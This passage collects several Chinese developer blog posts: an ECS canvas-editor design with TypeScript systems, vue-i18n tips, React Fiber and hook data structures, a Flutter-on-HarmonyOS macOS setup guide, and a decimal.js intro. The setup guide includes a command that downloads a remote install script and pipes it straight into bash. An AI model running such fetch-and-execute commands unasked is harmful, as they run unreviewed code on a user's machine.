        N[旋转操作]
    end
    
    A --> D
    B --> D
    C --> D
    
    D --> E
    E --> F
    
    E --> G
    E --> H
    E --> I
    E --> J
    
    G --> L
    H --> L
    I --> L
    J --> K

拖拽交互流程

sequenceDiagram
    participant U as 用户
    participant I as InputSystem
    participant P as PickingSystem
    participant S as StateStore
    participant R as RenderSystem
    
    U->>I: mousedown(x, y)
    I->>P: pick(x, y)
    P->>I: 返回entityId
    I->>I: 记录拖拽开始位置
    I->>I: isDragging = true
    
    loop 鼠标移动
        U->>I: mousemove(x, y)
        I->>I: 计算偏移量(dx, dy)
        I->>S: 更新Position组件
        S->>R: 触发重绘
    end
    
    U->>I: mouseup
    I->>I: isDragging = false
    I->>I: 清空拖拽状态

InputSystem 实现

export class InputSystem extends System {
  canvas: HTMLCanvasElement;
  core: Core;
  pickingSystem: PickingSystem;
  isDragging = false;
  dragStartPos: { x: number; y: number } | null = null;
  selectedEntity: string | null = null;

  constructor(canvas: HTMLCanvasElement, core: Core, pickingSystem: PickingSystem) {
    super();
    this.canvas = canvas;
    this.core = core;
    this.pickingSystem = pickingSystem;
    this.bindEvents();
  }

  bindEvents() {
    this.canvas.addEventListener('mousedown', this.handleMouseDown);
    this.canvas.addEventListener('mousemove', this.handleMouseMove);
    this.canvas.addEventListener('mouseup', this.handleMouseUp);
    this.canvas.addEventListener('click', this.handleClick);
  }

  handleClick = (e: MouseEvent) => {
    const rect = this.canvas.getBoundingClientRect();
    const x = e.clientX - rect.left;
    const y = e.clientY - rect.top;

    // 拾取实体
    const entityId = this.pickingSystem.pick(x, y);

    if (entityId) {
      // 如果按下 Ctrl/Cmd,则多选
      if (e.ctrlKey || e.metaKey) {
        const selected = this.core.stateStore.selected.get(entityId);
        if (selected) {
          selected.value = !selected.value;
        }
      } else {
        // 单选
        this.core.stateStore.selected.forEach((s) => (s.value = false));
        const selected = this.core.stateStore.selected.get(entityId);
        if (selected) {
          selected.value = true;
        }
      }
    } else {
      // 点击空白,取消所有选中
      this.core.stateStore.selected.forEach((s) => (s.value = false));
    }
  };

  handleMouseDown = (e: MouseEvent) => {
    const rect = this.canvas.getBoundingClientRect();
    const x = e.clientX - rect.left;
    const y = e.clientY - rect.top;

    const entityId = this.pickingSystem.pick(x, y);

    if (entityId) {
      this.isDragging = true;
      this.selectedEntity = entityId;
      this.dragStartPos = { x, y };
    }
  };

  handleMouseMove = (e: MouseEvent) => {
    if (!this.isDragging || !this.selectedEntity || !this.dragStartPos) return;

    const rect = this.canvas.getBoundingClientRect();
    const x = e.clientX - rect.left;
    const y = e.clientY - rect.top;

    const dx = x - this.dragStartPos.x;
    const dy = y - this.dragStartPos.y;

    // 更新位置
    const position = this.core.stateStore.position.get(this.selectedEntity);
    if (position) {
      position.x += dx;
      position.y += dy;
    }

    this.dragStartPos = { x, y };
  };

  handleMouseUp = () => {
    this.isDragging = false;
    this.selectedEntity = null;
    this.dragStartPos = null;
  };

  update(stateStore: StateStore) {
    // 输入系统主要是事件驱动,不需要每帧更新
  }
}

事件系统

事件系统架构

graph TB
    subgraph "事件源"
        A[InputSystem]
        B[SelectionSystem]
        C[业务逻辑]
    end
    
    subgraph "EventSystem"
        D[EventQueue事件队列]
        E[事件处理器]
        F[事件分发器]
    end
    
    subgraph "事件类型"
        G[entity:select 选中]
        H[entity:deselect 取消选中]
        I[entity:move 移动]
        J[entity:delete 删除]
        K[entity:resize 缩放]
        L[entity:rotate 旋转]
    end
    
    subgraph "系统响应"
        M[更新StateStore]
        N[触发重绘]
        O[执行业务逻辑]
    end
    
    A --> D
    B --> D
    C --> D
    
    D --> E
    E --> F
    
    F --> G
    F --> H
    F --> I
    F --> J
    F --> K
    F --> L
    
    G --> M
    H --> M
    I --> M
    J --> M
    
    M --> N

事件处理流程

sequenceDiagram
    participant I as InputSystem
    participant Q as EventQueue
    participant E as EventSystem
    participant H as EventHandler
    participant S as StateStore
    
    I->>Q: 添加事件
    Note over Q: {type: 'entity:move', data: {...}}
    
    loop 每帧更新
        E->>Q: 读取事件队列
        Q->>E: 返回事件列表
        
        loop 处理每个事件
            E->>E: switch(event.type)
            E->>H: 调用对应处理器
            H->>S: 更新组件数据
        end
        
        E->>Q: 清空已处理事件
    end

EventSystem 实现

import type { Core } from "../Core";
import { Entity } from "../Entity/Entity";
import type { StateStore } from "../types";
import type { ClickSystem } from "./ClickSystem";
import type { DragSystem } from "./DragSystem";
import type { HoverSystem } from "./HoverSystem";
import type { SelectionSystem } from "./SelectionSystem";
import { System } from "./System";
import { throttle } from "lodash";

export class EventSystem extends System {
  core: Core;
  ctx: CanvasRenderingContext2D;
  offCtx: CanvasRenderingContext2D | null = null;
  entityManager: Entity = new Entity();
  stateStore: StateStore | null = null;
  throttledMouseMove: ReturnType<typeof throttle>;

  constructor(ctx: CanvasRenderingContext2D, core: Core) {
    super();
    this.ctx = ctx;
    this.core = core;
    this.dispose();
    this.throttledMouseMove = throttle(this.onMouseMove.bind(this), 16);
    ctx.canvas.addEventListener("click", this.onClick.bind(this));
    ctx.canvas.addEventListener("mouseup", this.onMouseUp.bind(this));
    ctx.canvas.addEventListener("mousedown", this.onMouseDown.bind(this));
    document.addEventListener("mousemove", this.throttledMouseMove);
  }

  dispose() {
    this.ctx.canvas.removeEventListener("click", this.onClick.bind(this));
    document.removeEventListener("mousemove", this.throttledMouseMove);
    this.ctx.canvas.removeEventListener("mouseup", this.onMouseUp.bind(this));
    this.ctx.canvas.removeEventListener(
      "mousedown",
      this.onMouseDown.bind(this)
    );
    this.throttledMouseMove?.cancel();
  }

  onMouseUp(event: MouseEvent) {
    if (!this.stateStore) return;
    this.stateStore.eventQueue.push({
      type: "mouseup",
      event,
    });
    this.render();
  }
  onMouseDown(event: MouseEvent) {
    if (!this.stateStore) return;
    this.stateStore.eventQueue.push({
      type: "mousedown",
      event,
    });
    this.render();
  }

  nextTick(cb: () => void) {
    return Promise.resolve().then(cb);
  }

  update(stateStore: StateStore) {
    this.stateStore = stateStore;
  }

  render() {
    const core = this.core;
    const selectionSystem =
      core.getSystemByName<SelectionSystem>("SelectionSystem");
    const hoverSystem = core.getSystemByName<HoverSystem>("HoverSystem");
    const clickSystem = core.getSystemByName<ClickSystem>("ClickSystem");
    const dragSystem = core.getSystemByName<DragSystem>("DragSystem");

    if (!this.stateStore) return;
    if (hoverSystem) {
      hoverSystem.update(this.stateStore);
    }
    if (clickSystem) {
      clickSystem.update(this.stateStore);
    }
    if (selectionSystem) {
      selectionSystem.update(this.stateStore);
    }
    if (dragSystem) {
      dragSystem.update(this.stateStore);
    }
    this.stateStore.eventQueue = [];
  }
  /**
   * 点击
   * @param event MouseEvent
   * @returns
   */
  onClick(event: MouseEvent) {
    if (!this.stateStore) return;
    this.stateStore.eventQueue = [
      {
        type: "click",
        event,
      },
    ];
    this.render();
  }
  onMouseMove(event: MouseEvent) {
    if (!this.stateStore) return;
    if (this.stateStore.eventQueue.length) return;
    this.stateStore.eventQueue = [{ type: "mousemove", event }];
    this.render();
  }

  destroyed(): void {
    this.dispose();
    this.offCtx = null;
    this.stateStore = null;
    this.entityManager = null as any;
    this.core = null as any;
    this.ctx = null as any;
  }
}

DSL 解析器

DSL 解析架构

graph TB
    subgraph DSL配置
        A[JSON配置对象]
        B[必填字段]
        C[可选字段]
    end
    
    subgraph DSL解析器
        D[DSL构造器]
        E[字段验证]
        F[默认值填充]
        G[组件实例化]
    end
    
    subgraph 组件注册
        H[Position]
        I[Size]
        J[Color]
        K[Rotation]
        L[其他组件]
    end
    
    subgraph StateStore
        M[position Map]
        N[size Map]
        O[color Map]
        P[其他 Map]
    end
    
    A --> D
    B --> E
    C --> F
    D --> E
    E --> G
    
    G --> H
    G --> I
    G --> J
    G --> K
    G --> L
    
    H --> M
    I --> N
    J --> O
    L --> P

DSL 解析流程

sequenceDiagram
    participant C as JSON Config
    participant D as DSL Parser
    participant V as Validator
    participant S as StateStore
    participant E as Entity Manager
    
    C->>D: 传入配置对象
    D->>V: 验证必填字段
    
    alt 验证失败
        V->>D: 抛出错误
        D->>C: Error: 缺少必填字段
    else 验证成功
        V->>D: 验证通过
        D->>D: 填充默认值
        D->>D: 创建DSL实例
        
        loop 遍历组件属性
            D->>S: 将组件存入对应Map
            Note over S: position.set(id, {x, y})
            Note over S: size.set(id, {w, h})
            Note over S: color.set(id, {fill, stroke})
        end
        
        D->>E: 注册实体ID
        E->>D: 注册成功
        D->>C: 返回DSL实例
    end

DSL 类实现

export class DSL {
  id: string;
  type: string;
  position: Position;
  size: Size;
  color: Color;
  selected?: { value: boolean; hovered: boolean };
  rotation?: { value: number };
  font?: Font;
  lineWidth?: { value: number };
  img?: Img;
  scale?: Scale;
  polygon?: Polygon;
  ellipseRadius?: EllipseRadius;

  constructor(config: any) {
    this.id = config.id;
    this.type = config.type;
    this.position = config.position;
    this.size = config.size;
    this.color = config.color;
    this.selected = config.selected || { value: false, hovered: false };
    this.rotation = config.rotation || { value: 0 };
    this.font = config.font;
    this.lineWidth = config.lineWidth || { value: 1 };
    this.img = config.img;
    this.scale = config.scale;
    this.polygon = config.polygon;
    this.ellipseRadius = config.ellipseRadius;

    this.validate();
  }

  validate() {
    if (!this.id) throw new Error('DSL 缺少 id 字段');
    if (!this.type) throw new Error('DSL 缺少 type 字段');
    if (!this.position) throw new Error('DSL 缺少 position 字段');
    if (!this.size) throw new Error('DSL 缺少 size 字段');
    if (!this.color) throw new Error('DSL 缺少 color 字段');
  }
}

DSL 使用示例

const dsls = [
  {
    id: "rect-1",
    type: "rect",
    position: { x: 100, y: 100 },
    size: { width: 200, height: 100 },
    color: { 
      fillColor: "#FF5000", 
      strokeColor: "#000000" 
    },
    rotation: { value: 0 },
    selected: { value: false },
  },
  {
    id: "text-1",
    type: "text",
    position: { x: 120, y: 130 },
    size: { width: 160, height: 40 },
    color: { fillColor: "", strokeColor: "" },
    font: {
      family: "Arial",
      size: 24,
      weight: "bold",
      text: "Hello World",
      fillColor: "#FFFFFF",
    },
  },
  {
    id: "ellipse-1",
    type: "ellipse",
    position: { x: 350, y: 100 },
    size: { width: 120, height: 80 },
    color: { 
      fillColor: "#00BFFF", 
      strokeColor: "#000000" 
    },
  },
];

// 初始化 Core
const core = new Core(dsls);

Canvas 组件集成

Canvas 组件架构

graph TB
    subgraph "React组件"
        A[Canvas组件]
        B[canvasRef]
        C[useEffect钩子]
    end
    
    subgraph "Core初始化"
        D[创建Core实例]
        E[加载DSL配置]
        F[初始化Canvas]
    end
    
    subgraph "系统初始化"
        G[RenderSystem]
        H[PickingSystem]
        I[SelectionSystem]
        J[EventSystem]
        K[InputSystem]
    end
    
    subgraph "主循环"
        L[requestAnimationFrame]
        M[事件处理]
        N[渲染更新]
        O[选择框绘制]
    end
    
    A --> B
    A --> C
    C --> D
    C --> E
    C --> F
    
    F --> G
    F --> H
    F --> I
    F --> J
    F --> K
    
    G --> L
    J --> M
    G --> N
    I --> O
    
    L --> L

系统初始化流程

sequenceDiagram
    participant R as React
    participant C as Canvas组件
    participant Core as Core引擎
    participant S as Systems
    participant L as 主循环
    
    R->>C: 组件挂载
    C->>C: useEffect触发
    C->>Core: 创建Core实例(dsls)
    Core->>Core: 解析DSL
    Core->>Core: 初始化StateStore
    
    C->>Core: initCanvas(canvasRef)
    Core->>Core: 设置DPR
    Core->>C: 返回ctx
    
    C->>S: new RenderSystem(ctx, core)
    C->>S: new PickingSystem(ctx, core)
    C->>S: new SelectionSystem(ctx, core)
    C->>S: new EventSystem(core)
    C->>S: new InputSystem(canvas, core, picking)
    
    C->>L: 启动主循环loop()
    
    loop 每帧
        L->>S: eventSystem.update()
        L->>S: renderSystem.update()
        L->>S: selectionSystem.update()
        L->>L: requestAnimationFrame
    end

Canvas.tsx 实现

import { useEffect, useRef, useState } from "react";
import { Core } from "../Core/Core";
import { RenderSystem } from "../Core/System/RenderSystem/RenderSystem";
import { SelectionSystem } from "../Core/System/SelectionSystem";
import { PickingSystem } from "../Core/System/PickingSystem";
import { EventSystem } from "../Core/System/EventSystem";
import { InputSystem } from "../Core/System/InputSystem";

function Canvas() {
  const canvasRef = useRef<HTMLCanvasElement>(null);
  const [core, setCore] = useState<Core | null>(null);

  useEffect(() => {
    if (!canvasRef.current) return;

    // 初始化 Core
    const dsls = []; // 从服务器或状态加载 DSL
    const coreInstance = new Core(dsls);
    const ctx = coreInstance.initCanvas(canvasRef.current);

    // 初始化系统
    const renderSystem = new RenderSystem(ctx, coreInstance);
    const pickingSystem = new PickingSystem(ctx, coreInstance);
    const selectionSystem = new SelectionSystem(ctx, coreInstance);
    const eventSystem = new EventSystem(coreInstance);
    const inputSystem = new InputSystem(
      canvasRef.current,
      coreInstance,
      pickingSystem
    );

    // 主循环
    function loop() {
      eventSystem.update(coreInstance.stateStore);
      renderSystem.update(coreInstance.stateStore);
      selectionSystem.update(coreInstance.stateStore);
      requestAnimationFrame(loop);
    }

    loop();
    setCore(coreInstance);

    return () => {
      // 清理事件监听
    };
  }, []);

  return (
    <div className="canvas-container">
      <canvas 
        ref={canvasRef} 
        width={800} 
        height={600}
        style={{ border: '1px solid #ccc' }}
      />
    </div>
  );
}

export default Canvas;

性能优化技巧

性能优化架构

graph TB
    subgraph "渲染优化"
        A[节流渲染<br/>Throttle 100ms]
        B[离屏Canvas<br/>拾取优化]
        C[增量更新<br/>只更新变化]
        D[可视区域裁剪<br/>只渲染可见]
    end
    
    subgraph "内存优化"
        E[Map数据结构<br/>O1查询]
        F[图片缓存<br/>避免重复加载]
        G[对象池模式<br/>复用对象]
    end
    
    subgraph "事件优化"
        H[事件委托<br/>Canvas统一监听]
        I[防抖处理<br/>resize事件]
        J[事件队列<br/>批量处理]
    end
    
    subgraph "Canvas优化"
        K[DPR适配<br/>高清显示]
        L[willReadFrequently<br/>频繁读取优化]
        M[save/restore<br/>状态管理]
    end

离屏 Canvas

// 用于图形拾取,不显示
const offscreenCanvas = document.createElement('canvas');
const offscreenCtx = offscreenCanvas.getContext('2d');

图片缓存

private imageCache = new Map<string, HTMLImageElement>();

loadImage(src: string): HTMLImageElement {
  if (this.imageCache.has(src)) {
    return this.imageCache.get(src)!;
  }
  
  const img = new Image();
  img.src = src;
  this.imageCache.set(src, img);
  return img;
}

完整数据流架构

端到端数据流

graph TB
    subgraph "用户交互层"
        A[用户操作]
        B[鼠标事件]
        C[键盘事件]
    end
    
    subgraph "输入处理层"
        D[InputSystem]
        E[事件绑定]
        F[事件转换]
    end
    
    subgraph "事件管理层"
        G[EventQueue]
        H[EventSystem]
        I[事件分发]
    end
    
    subgraph "状态管理层"
        J[StateStore]
        K[Position Map]
        L[Size Map]
        M[Color Map]
        N[Selected Map]
    end
    
    subgraph "拾取判断层"
        O[PickingSystem]
        P[离屏Canvas]
        Q[颜色编码]
    end
    
    subgraph "选择管理层"
        R[SelectionSystem]
        S[选中状态更新]
        T[选择框绘制]
    end
    
    subgraph "渲染输出层"
        U[RenderSystem]
        V[渲染器注册表]
        W[Canvas绘制]
    end
    
    A --> B
    A --> C
    B --> D
    C --> D
    
    D --> E
    E --> F
    F --> G
    
    G --> H
    H --> I
    I --> J
    
    D --> O
    O --> P
    O --> Q
    
    J --> R
    R --> S
    S --> T
    
    J --> U
    U --> V
    V --> W
    
    T --> W

完整交互流程

sequenceDiagram
    participant U as 用户
    participant I as InputSystem
    participant P as PickingSystem
    participant E as EventSystem
    participant S as StateStore
    participant Sel as SelectionSystem
    participant R as RenderSystem
    participant C as Canvas
    
    Note over U,C: 1. 点击选择阶段
    U->>I: 点击画布(x, y)
    I->>P: pick(x, y)
    P->>P: 读取离屏Canvas像素
    P->>I: 返回entityId
    I->>E: 添加'entity:select'事件
    
    Note over U,C: 2. 事件处理阶段
    E->>E: 处理事件队列
    E->>S: 更新selected组件
    S->>S: selected.set(id, true)
    
    Note over U,C: 3. 拖拽移动阶段
    U->>I: mousedown + mousemove
    I->>I: 计算偏移量(dx, dy)
    I->>S: 更新position组件
    S->>S: position.x += dx
    
    Note over U,C: 4. 渲染更新阶段
    R->>R: throttledRender触发
    R->>S: 读取所有组件数据
    R->>C: 清空画布
    
    loop 遍历所有实体
        R->>V: 查找渲染器
        V->>C: 绘制图形
    end
    
    Sel->>S: 读取selected组件
    Sel->>C: 绘制选择框

架构优势总结

设计优势

mindmap
  root((ECS架构优势))
    高性能
      数据局部性
      缓存友好
      Map O1查询
      节流渲染
    可扩展性
      添加新组件
      添加新系统
      添加新渲染器
      插件化设计
    可维护性
      数据逻辑分离
      单一职责
      模块化设计
      清晰的依赖关系
    灵活性
      组合优于继承
      动态添加删除组件
      运行时修改
      DSL配置驱动

技术亮点

特性 实现方式 优势
ECS 架构 Entity-Component-System 模式 数据与逻辑分离,高性能
颜色编码拾取 离屏 Canvas + RGB 映射 精确快速,支持复杂图形
节流渲染 Lodash throttle 100ms 降低 CPU 使用,提升性能
Map 数据结构 StateStore 使用 Map O(1) 查询,内存高效
图片缓存 ImageCache Map 避免重复加载,提升速度
事件队列 EventQueue 批量处理 解耦系统,灵活扩展
DSL 配置 JSON 声明式配置 易于序列化,可视化编辑
DPR 适配 Canvas 高清适配 支持 Retina 屏幕

最后

项目在不断迭代中,后面可能存在代码和文章有差异的地方,具体可以看github.com/baiyuze/duc…

Vue-i18n踩坑记录

因为最近的一个Vue项目要上线国际版了,需要在中文版的基础上增加一个英文版。i18n虽然很方便,但还是有不少坑,记录在这里。

  1. 现在Vue-i18n12+版本还没有太好的支持,建议使用9+版本。
npm install vue-i18n@9
  1. Vue-i18n是支持插值文本的,但插值用单括号。使用时用对象传入
// en.ts
const en = {
    hint: "{ count } files in total, { selected } selected"
}
<div class="selected-count">{{ t('upload.uploadTable.hint', {
        count: rows.length,
        selected: selectedFiles.length
    }) }}
</div>
  1. 列表渲染的中文文本在添加国际化后,不能用ref,ref也不能响应。必须用computed
const headers = computed(() => [
    { label: t('upload.table.selected'), key: '已选择', width: '60px' },
    { label: t('upload.table.id'), key: 'id', width: '130px' },
    { label: t('upload.table.filename'), key: '文件名', width: '160px' },
    { label: t('upload.table.expireTime'), key: '过期时间', width: '130px' },
    { label: t('upload.table.operation'), key: '操作', width: '160px' }
])
  1. 大部分中文转英文后文本会变长,需要换行或改元素宽度
<Button :width="locale === 'en' ? '130px' : '140px'" @click="handleConfirmUpload">
    {{t('upload.buttons.confirm')}}
</Button>
  1. 中文不需要考虑复数,英文还要加一层if判断,多于一个需要加复数

遇到问题再更新

React源码 - 关键数据结构

React 中的数据结构

这篇文章将着重介绍 React 中的几个重要的数据结构以及设计思想。

Fiber 树

这里仅对 Fiber 进行一个简单的介绍,如想了解 Fiber 架构的细节,包括双缓冲树,可以阅读该源码系列的另一篇文章:React源码 - 大名鼎鼎的Fiber

Fiber 树可以说是 React 内部最重要的一种数据结构了,它帮助 React 实现了可中断渲染以及优先级调度。它拥有 childsiblingreturn 三个指针,分别表示:

  • child: 第一个子节点
  • sibling: 串联兄弟节点
  • return: 父节点

下面是 Fiber 节点构造函数的源码:

// facebook/react/blob/main/packages/react-reconciler/src/ReactFiber.js#L136-L209
function FiberNode(
  this: $FlowFixMe,
  tag: WorkTag,
  pendingProps: mixed,
  key: null | string,
  mode: TypeOfMode,
) {
  // Instance
  this.tag = tag; // fiber 类型
  this.key = key; // 用于调和子节点
  this.elementType = null; 
  this.type = null; // 元素类型
  this.stateNode = null; // 对应的真实 DOM 元素

  // Fiber 链表结构 
  this.return = null; // 指向父节点(父节点)
  this.child = null;  // 指向第一个子节点(子节点)
  this.sibling = null; // 指向下一个兄弟节点(兄弟节点)
  this.index = 0;     // 在父节点的子节点列表中的索引位置

  this.ref = null;
  this.refCleanup = null;

 // Props 和 State
  this.pendingProps = pendingProps; // 新一轮渲染中传入的新 props
  this.memoizedProps = null;        // 上一次渲染时使用的 props
  this.updateQueue = null;          // 状态更新队列,存储 setState 产生的更新对象
  this.memoizedState = null;        // 上一次渲染时使用的 state
  this.dependencies = null;         // 当前 Fiber 所依赖的上下文(Context)、事件订阅等
  
  this.mode = mode;

  // Effects
  this.flags = NoFlags;         // 当前 Fiber 需要执行的副作用(如 Placement, Update, Deletion)
  this.subtreeFlags = NoFlags;  // 子节点树中需要执行的副作用(用于性能优化)
  this.deletions = null;        // 待删除的子 Fiber 节点数组(用于记录需要被删除的节点)

  // Lane 模型(优先级调度) 
  // React 17+ 使用的优先级调度模型,用于并发渲染
  this.lanes = NoLanes;        // 当前 Fiber 上待处理的更新优先级车道
  this.childLanes = NoLanes;   // 子节点树中待处理的更新优先级车道

  // 双缓存技术
  this.alternate = null; // 指向 current 树或 workInProgress 树中的对应 Fiber 节点
                         // 用于实现双缓存机制,在更新时交替使用两棵树
}

Fiber 节点通过自身的 childsibling 以及 return 指针构建了一个树结构。并通过自身的 alternate 指针,指向 current treeworkInProgress tree 中的对应 Fiber 节点, 实现了如下图所示的双缓冲树的架构。

image.png

Hook 链表

在React中,Hook 是一组特殊的函数,让你在函数组件中应用 React 的特性(如状态、生命周期、上下文等)。

我相信很多同学都知道 React Hooks 不能在条件语句中调用。具体原因就是,它采用了链表的结构。每个函数组件在 Fiber 节点对象上都有一个 hooks 链表(Fiber.memoizedState

首次渲染时,React 会为每个调用的 hook 创建一个 Hook 对象,并用通过 next 指针串起来。之后的更新渲染,React 并不会“看代码里的变量名”,而是严格按调用顺序一个个取 Hook 对象。

// [ReactFiberHooks.js - facebook/react - GitHub1s](https://github1s.com/facebook/react/blob/main/packages/react-reconciler/src/ReactFiberHooks.js#L195-L201)
export type Hook = {
  memoizedState: any,
  baseState: any,
  baseQueue: Update<any, any> | null,
  queue: any,
  next: Hook | null,
};

image.png

Update Queue

从前文介绍的 Hook 定义中来看,Hook对象共有 5 个属性。 接下来介绍其中的 hook.queue 属性,对应的类型是 UpdateQueue

hook.queue 是每个 Hook(useState/useReducer)用于保存待处理状态更新的队列结构。它记录了所有等待执行的 setState()dispatch() 调用,React 会在下一次渲染时从这个队列中取出所有更新并计算出新的 state。

在 React Hook 实现中,hook.queue.pending 是一个环形链表,每个环节点是一个 update 对象(描述一次 state 更新)。需要注意的是queue.pending 指向最后一个节点, 而 queue.pending.next 才是第一个节点。

读 React 源码时容易困惑的一点是 React Hook 里的 queue 究竟是链表还是队列? 因为从UpdateQueue的命名上来看,可以翻译为更新队列,并且符合队列先进先出(FIFO)的特性。但从源码实现上看,它是一个环形链表。因为,UpdateQueue.pending 中的每个 Update 节点是通过 next 指针连接的。所以可以说,React 用 链表结构 实现了一个 队列行为

注意区分 fiber.updateQueuehook.queue。它们虽然都是环形链表,都负责状态更新的存储与合并, 但它们是两套 不同的机制,分别服务于 class componentfunction component。上面介绍的是 hook.queue

下面为 hook.queue 相关的类型定义源码:

// [ReactFiberHooks.js - facebook/react - GitHub1s](https://github1s.com/facebook/react/blob/main/packages/react-reconciler/src/ReactFiberHooks.js#L165-L181)
export type Update<S, A> = {
  lane: Lane,
  revertLane: Lane,
  action: A,
  hasEagerState: boolean,
  eagerState: S | null,
  next: Update<S, A>,
  gesture: null | ScheduledGesture, // enableGestureTransition
};

export type UpdateQueue<S, A> = {
  pending: Update<S, A> | null,
  lanes: Lanes,
  dispatch: (A => mixed) | null,
  lastRenderedReducer: ((S, A) => S) | null,
  lastRenderedState: S | null,
};

image.png

当调用:

setCount(c => c + 1);

React 内部会创建一个 update 对象:

const update = {
  action: c => c + 1,
  next: null,
};

接下来把该更新对象(update)加入到当前 hook 的更新队列中:

  • 每个 hook(比如 useState)都有一个 queue
  • queue.pending 存的是一个 环形链表(circular linked list),保存所有待处理的更新(update 对象)。
const pending = hook.queue.pending;
if (pending === null) {
  update.next = update; // 第一个节点,自己形成环
} else {
  update.next = pending.next;
  pending.next = update;
}
hook.queue.pending = update; // 更新尾节点

在下一次 render 阶段,遍历并执行一个 hook(useState/useReducer)上积累的所有更新(update 对象),计算出新的 state 值:

function processUpdateQueue(hook, queue, reducer) {
  let newState = hook.memoizedState;
  let pending = queue.pending;
  if (pending !== null) {
    const first = pending.next; // 环起点
    let update = first;
    do {
      newState = reducer(newState, update.action);
      update = update.next;
    } while (update !== first);
    queue.pending = null; // 所有更新处理完毕后清空
  }
  hook.memoizedState = newState;
}

小结

React 在内部通过一系列精妙的数据结构,将复杂的渲染流程拆解为可控的节点级更新。

  • Fiber 树 是整个架构的核心,它以链表形式组织组件节点,实现了可中断、可恢复的渲染能力,并通过 alternate 指针构建出高效的 双缓冲树(Double Buffer Tree)
  • Hook 链表 则以调用顺序为唯一依据,为函数组件的状态管理提供了结构化存储,使得每个 useStateuseEffect 等 Hook 都能在多次渲染中保持独立且稳定的状态。
  • Update Queue(更新队列) 采用环形链表的形式,在结构上实现了队列的先进先出(FIFO)行为。它承担了状态变更的暂存与合并,使 React 能在下一次渲染时批量处理多次 setState 调用,从而提升性能与一致性。

这些数据结构共同构成了 React 高性能、可中断渲染背后的基础设施。
理解它们,不仅能帮助我们更好地读懂源码,也能在实际项目中写出更高效、更符合 React 思想的代码。

Flutter项目支持鸿蒙环境

1、安装HomeBrew

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

验证安装

brew --version

2、安装Git、cocoapods、Dart SDK、JDK

2.1 安装Git

brew install git

验证安装

git --version

2.2 安装cocoapods

brew install cocoapods

验证安装

pod --version

2.3 安装Dart SDK

brew install dart-sdk

验证安装

dart --version

在.zshrc文件中配置环境变量

export PATH="$PATH:/opt/homebrew/Cellar/dart-sdk/3.8.3/bin"

2.4 安装 JDK(JAVA运行环境)

IDE需要JDK运行环境的,需要下载配置。下面以Android Studio内置JDK为例

Android Studio -> File -> Project Structure -> Platform Settings -> SDKs -> + -> Download JDK

选择合适的版本并保存JDK home path。

image.png

在.zshrc文件中配置环境变量

export JAVA_HOME="/Users/eeo/Library/Java/JavaVirtualMachines/ms-17.0.16/Contents/Home"
export PATH="$JAVA_HOME/bin:$PATH"

3、安装FVM

brew tap leoafarias/fvm
brew install fvm

验证安装

fvm --verison

在.zshrc文件中配置环境变量

export FVM_CACHE_PATH=/opt/homebrew/Cellar/fvm
export PATH="$PATH:$FVM_CACHE_PATH/3.2.1/bin"

4、下载不同版本的鸿蒙Flutter SDK,修改版本名称并存放到versions目录下

3.22 版本的鸿蒙 flutter sdk 下载地址:https://gitee.com/harmonycommando_flutter/flutter

最终下载的Flutter SDK会在fvm缓存目录下,例如:

/opt/homebrew/Cellar/fvm/versions

修改flutter SDK版本名称

名字以 “custom_” 开头,最终需要变成这样:
/xx/xx/xx/versions/custom_3.22.1_ohos

5、执行fvm list

image.png

如果实现Flutter Version 显示为Need setup , 说明你的 Flutter SDK 目录不是一个完整的 Git 仓库克隆。FVM 和 Flutter 工具依赖于 Git 来管理 SDK 的版本和更新,因此必须确保 SDK 目录是一个完整的 Git 仓库。可通过命令重新生成version文件:./bin/flutter --version > version后重新扫描SDK:./bin/flutter --version > version,执行fvm list命令显示就正常了

6、在Flutter项目中应用对应的dart版本

fvm use custom_3.22.1_ohos

7、开发工具安装

Android Studio,配置Android SDK Xcode,配置iOS SDK DevEco Studio

8、检查flutter配置

fvm flutter doctor

9、Flutter环境和其他SDK环境变量在.zshrc中的配置

export FVM_CACHE_PATH=/opt/homebrew/Cellar/fvm
export PATH="$PATH:$FVM_CACHE_PATH/3.2.1/bin"

export PATH="$HOME/.fvm/default/bin:$PATH"
export PATH="$PATH:/opt/homebrew/Cellar/dart-sdk/3.8.3/bin"
export PATH="$PATH":"$HOME/.pub-cache/bin"
export PATH="$PATH:$HOME/.pub-cache/bin"

#export PATH=$PATH:~/fvm/default/bin
#export PATH=$PATH:~/fvm/default/bin/cache/dart-sdk/bin
#export PATH=$PATH:~/.pub-cache/bin

export PUB_HOSTED_URL=https://pub.flutter-io.cn
export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn
#export FLUTTER_GIT_URL=https://gitee.com/harmonycommando_flutter/flutter

export TOOL_HOME=/Applications/DevEco-Studio.app/Contents/
export DEVECO_SDK_HOME=$TOOL_HOME/sdk # command-line-tools/sdk
export PATH=$TOOL_HOME/tools/ohpm/bin:$PATH # command-line-tools/ohpm/bin
export PATH=$TOOL_HOME/tools/hvigor/bin:$PATH # command-line-tools/hvigor/bin
export PATH=$TOOL_HOME/tools/node/bin:$PATH # command-line-tools/tool/node/bin

export ANDROID_HOME=/Users/eeo/Library/Android/sdk
export PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools
export PATH=$PATH:/Applications/DevEco-Studio.app/Contents/sdk/default/openharmony/toolchains

export JAVA_HOME="/Users/eeo/Library/Java/JavaVirtualMachines/ms-17.0.16/Contents/Home"
export PATH="$JAVA_HOME/bin:$PATH"

「周更第8期」实用JS库推荐:decimal.j

引言

大家好,欢迎来到第8期的JavaScript库推荐!本期为大家介绍的是 decimal.js,一个专门用于高精度十进制数值计算的优秀工具库。

在日常开发中,我们经常遇到需要进行精确数值计算的需求,特别是在金融、电商、科学计算等领域。传统的JavaScript浮点数运算往往存在精度丢失的问题,比如经典的 0.1 + 0.2 !== 0.3 问题。这种精度问题在处理货币计算、科学数据分析时可能导致严重的业务错误。

decimal.js 正是为了解决这些痛点而生的,它以其高精度计算、丰富的数学函数、灵活的配置选项在同类库中脱颖而出,成为了精确数值计算的首选方案。无论你是前端开发者还是Node.js后端开发者,都能从这个库中受益。

本文将从decimal.js的核心特性、实际应用、性能表现、最佳实践等多个维度进行深入分析,帮助你全面了解这个优秀的工具库。

库介绍

基本信息

主要特性

  • 🚀 高精度计算:支持任意精度的十进制数值运算,彻底解决浮点数精度问题
  • 💡 丰富的数学函数:提供完整的数学运算方法,包括三角函数、对数、指数等
  • 🔧 灵活配置:支持精度、舍入模式、数值范围等多种配置选项
